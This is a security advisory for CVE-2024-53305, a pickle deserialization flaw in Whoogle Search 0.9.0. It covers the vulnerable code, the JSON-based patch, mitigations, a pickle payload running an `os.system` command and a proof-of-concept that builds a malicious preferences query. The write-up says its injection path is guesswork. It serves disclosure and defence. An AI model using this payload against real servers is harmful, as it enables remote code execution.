CVE-2024-53305: Whoogle Search Arbitrary Code Execution via Crafted Search Query

Executive Summary

CVE-2024-53305 describes a critical vulnerability in Whoogle Search, specifically version 0.9.0. This vulnerability allows an attacker to execute arbitrary code by crafting a malicious search query. The root cause lies in the insecure deserialization of configuration data, which can be manipulated through a specially crafted search query. Successful exploitation of this vulnerability can lead to complete system compromise. Version 0.9.1 addresses this vulnerability.

Technical Details

  • CVE ID: CVE-2024-53305
  • Affected Software: Whoogle Search
  • Affected Version: 0.9.0
  • Fixed Version: 0.9.1
  • Component: /models/config.py
  • Vulnerability Type: Arbitrary Code Execution via Insecure Deserialization
  • Attack Vector: Network
  • Privileges Required: None
  • User Interaction: Required (victim must submit the crafted query)

The vulnerability resides within the config.py file in the /models directory of the Whoogle Search application. The application uses a configuration model to store user preferences and settings. Prior to version 0.9.1, this configuration data was serialized using Python's pickle module. The pickle module is known to be vulnerable to arbitrary code execution when deserializing untrusted data. An attacker can craft a malicious search query that, when processed by Whoogle Search, leads to the deserialization of a payload containing arbitrary Python code.

Root Cause Analysis

The core of the vulnerability lies in the _decode_preferences method within the Config class in app/models/config.py. This method is responsible for deserializing user preferences stored as a base64-encoded string. Prior to the patch, the pickle.loads function was used to deserialize this data.

Here's the vulnerable code snippet from app/models/config.py (prior to version 0.9.1):

import pickle
import brotli
from base64 import urlsafe_b64decode

def _decode_preferences(self, preferences: str) -> dict:
    mode = preferences[0]
    preferences = preferences[1:]
    if mode == 'e': # preferences are encrypted
        try:
            key = self._get_fernet_key(self.preferences_key)

            config = Fernet(key).decrypt(
                brotli.decompress(urlsafe_b64decode(
                    preferences.encode() + b'=='))
            )

            config = pickle.loads(brotli.decompress(config))
        except Exception:
            config = {}
    elif mode == 'u': # preferences are not encrypted
        config = pickle.loads(
            brotli.decompress(urlsafe_b64decode(
                preferences.encode() + b'=='))
        )
    else: # preferences are incorrectly formatted
        config = {}
    return config

The pickle.loads function deserializes the data without any validation or sanitization. This allows an attacker to inject arbitrary Python code into the serialized data, which will then be executed when the data is deserialized.

For example, an attacker could craft a serialized payload that executes the os.system function to run arbitrary commands on the server. A simplified example of such a payload (before base64 encoding and other transformations) might look like this:

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('touch /tmp/pwned',))

serialized_data = pickle.dumps(Exploit())
print(serialized_data)

When this serialized data is deserialized using pickle.loads, the os.system('touch /tmp/pwned') command will be executed, creating a file named /tmp/pwned on the server.

Patch Analysis

The vulnerability was addressed in version 0.9.1 by replacing the insecure pickle module with the json module for serializing and deserializing configuration data. The json module is significantly safer because it only supports the serialization of basic data types and does not allow for arbitrary code execution.

Here's the patched code snippet from app/models/config.py:

import json
import brotli
from base64 import urlsafe_b64decode

def _decode_preferences(self, preferences: str) -> dict:
    mode = preferences[0]
    preferences = preferences[1:]

    try:
        decoded_data = brotli.decompress(urlsafe_b64decode(preferences.encode() + b'=='))

        if mode == 'e' and self.preferences_key:
            # preferences are encrypted
            key = self._get_fernet_key(self.preferences_key)
            decrypted_data = Fernet(key).decrypt(decoded_data)
            decoded_data = brotli.decompress(decrypted_data)

        config = json.loads(decoded_data)
    except Exception:
        config = {}

    return config

The pickle.loads calls have been replaced with json.loads. This change effectively mitigates the arbitrary code execution vulnerability.

Here's the diff output from the relevant commit:

--- a/app/models/config.py
+++ b/app/models/config.py
@@ -3,13 +3,12 @@
 from app.utils.misc import read_config_bool
 from flask import current_app
 import os
-import re
 from base64 import urlsafe_b64encode, urlsafe_b64decode
-import pickle
 from cryptography.fernet import Fernet
 import hashlib
 import brotli
 import logging
+import json

 import cssutils
 from cssutils.css.cssstylesheet import CSSStyleSheet
@@ -237,35 +236,32 @@
         return key

     def _encode_preferences(self) -> str:
-        encoded_preferences = brotli.compress(pickle.dumps(self.get_attrs()))
-        if self.preferences_encrypted:\
-            if self.preferences_key != '':\
-                key = self._get_fernet_key(self.preferences_key)\
-                encoded_preferences = Fernet(key).encrypt(encoded_preferences)\
-                encoded_preferences = brotli.compress(encoded_preferences)\
+        preferences_json = json.dumps(self.get_attrs()).encode()
+        compressed_preferences = brotli.compress(preferences_json)
+
+        if self.preferences_encrypted and self.preferences_key:
+            key = self._get_fernet_key(self.preferences_key)
+            encrypted_preferences = Fernet(key).encrypt(compressed_preferences)
+            compressed_preferences = brotli.compress(encrypted_preferences)
+
+        return urlsafe_b64encode(compressed_preferences).decode()
+
+    def _decode_preferences(self, preferences: str) -> dict:
+        mode = preferences[0]
+        preferences = preferences[1:]
+
+        try:
+            decoded_data = brotli.decompress(urlsafe_b64decode(preferences.encode() + b'=='))
+
+            if mode == 'e' and self.preferences_key:
+                # preferences are encrypted
+                key = self._get_fernet_key(self.preferences_key)
+                decrypted_data = Fernet(key).decrypt(decoded_data)
+                decoded_data = brotli.decompress(decrypted_data)
+
+            config = json.loads(decoded_data)
+        except Exception:
+            config = {}
+
+        return config

The _encode_preferences method now uses json.dumps to serialize the configuration attributes into a JSON string, which is then compressed using Brotli and optionally encrypted using Fernet. The _decode_preferences method reverses this process, first decompressing the data, then decrypting it if necessary, and finally using json.loads to deserialize the JSON string into a Python dictionary.

Exploitation Techniques

Exploitation of CVE-2024-53305 involves crafting a malicious search query that injects a pickle payload into the configuration preferences. This payload, when deserialized, executes arbitrary code on the server.

Attack Scenario:

  1. Attacker crafts a malicious pickle payload: The attacker creates a Python script that generates a serialized pickle object containing malicious code. This code could execute arbitrary commands on the server, such as creating a new user, modifying system files, or installing malware.

  2. Attacker injects the payload into a search query: The attacker crafts a search query that includes the malicious pickle payload. The exact method of injection depends on how Whoogle Search processes and stores user preferences. A possible injection point is through the user configuration settings, which are then serialized and stored.

  3. Victim submits the crafted search query: The victim, unaware of the malicious payload, submits the crafted search query to the Whoogle Search instance.

  4. Whoogle Search deserializes the payload: When Whoogle Search processes the search query, it deserializes the user preferences using the vulnerable pickle.loads function. This triggers the execution of the malicious code contained within the pickle payload.

  5. Attacker gains control of the server: The malicious code executes with the privileges of the Whoogle Search process, potentially allowing the attacker to gain complete control of the server.

Theoretical Proof-of-Concept (PoC):

This PoC is theoretical because exploiting the vulnerability requires understanding how Whoogle Search stores and retrieves user preferences. However, this PoC demonstrates the general principle of exploiting pickle deserialization vulnerabilities.

import pickle
import os
import base64
import brotli
from urllib.parse import quote

# Craft the malicious payload
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('touch /tmp/pwned',))  # Example: create a file

serialized_payload = pickle.dumps(Exploit())

# Compress and base64 encode the payload
compressed_payload = brotli.compress(serialized_payload)
encoded_payload = base64.urlsafe_b64encode(compressed_payload).decode()

# Prepend 'u' to indicate unencrypted preferences (adjust if encryption is enabled)
final_payload = 'u' + encoded_payload

# URL encode the final payload for inclusion in a search query
url_encoded_payload = quote(final_payload)

# Construct the malicious search query (replace with the actual parameter name)
malicious_query = f"search_query=harmless_search&preferences={url_encoded_payload}"

print(f"Malicious Query: {malicious_query}")

# This query would then be sent to the Whoogle Search instance.
# When the server processes this query and deserializes the preferences,
# the 'touch /tmp/pwned' command will be executed.

Real-World Impact:

  • Complete System Compromise: An attacker could gain complete control of the server hosting the Whoogle Search instance.
  • Data Breach: Sensitive data stored on the server could be accessed and stolen.
  • Denial of Service: The attacker could crash the server or disrupt its services.
  • Malware Installation: The attacker could install malware on the server, turning it into a botnet node or using it to launch further attacks.

Mitigation Strategies

To mitigate the risk of CVE-2024-53305, the following strategies are recommended:

  1. Upgrade to Version 0.9.1 or Later: The most effective mitigation is to upgrade Whoogle Search to version 0.9.1 or later, which addresses the vulnerability by replacing the insecure pickle module with the json module.

  2. Input Validation: Implement strict input validation to sanitize user-provided data before it is processed by the application. This can help prevent the injection of malicious payloads. However, input validation is not a foolproof solution against pickle deserialization vulnerabilities, as attackers can often find ways to bypass validation rules.

  3. Disable or Restrict pickle: If possible, disable or restrict the use of the pickle module in the application. If pickle is absolutely necessary, ensure that it is only used to deserialize data from trusted sources.

  4. Principle of Least Privilege: Run the Whoogle Search process with the minimum privileges necessary to perform its functions. This can limit the impact of a successful exploit.

  5. Web Application Firewall (WAF): Deploy a WAF to detect and block malicious requests targeting the Whoogle Search instance. A WAF can provide an additional layer of security by filtering out requests that contain suspicious payloads or patterns.

  6. Regular Security Audits: Conduct regular security audits of the Whoogle Search instance to identify and address potential vulnerabilities.

Timeline of Discovery and Disclosure

  • Vulnerability Discovered: Date not available.
  • Vulnerability Reported: Date not available.
  • Patch Released: Version 0.9.1 released (Commit hash: e70bbabd63408c6a5ba6d99953f604e3d57d78f9)
  • Public Disclosure: 2025-04-16 18:31:54+00:00

References

Read more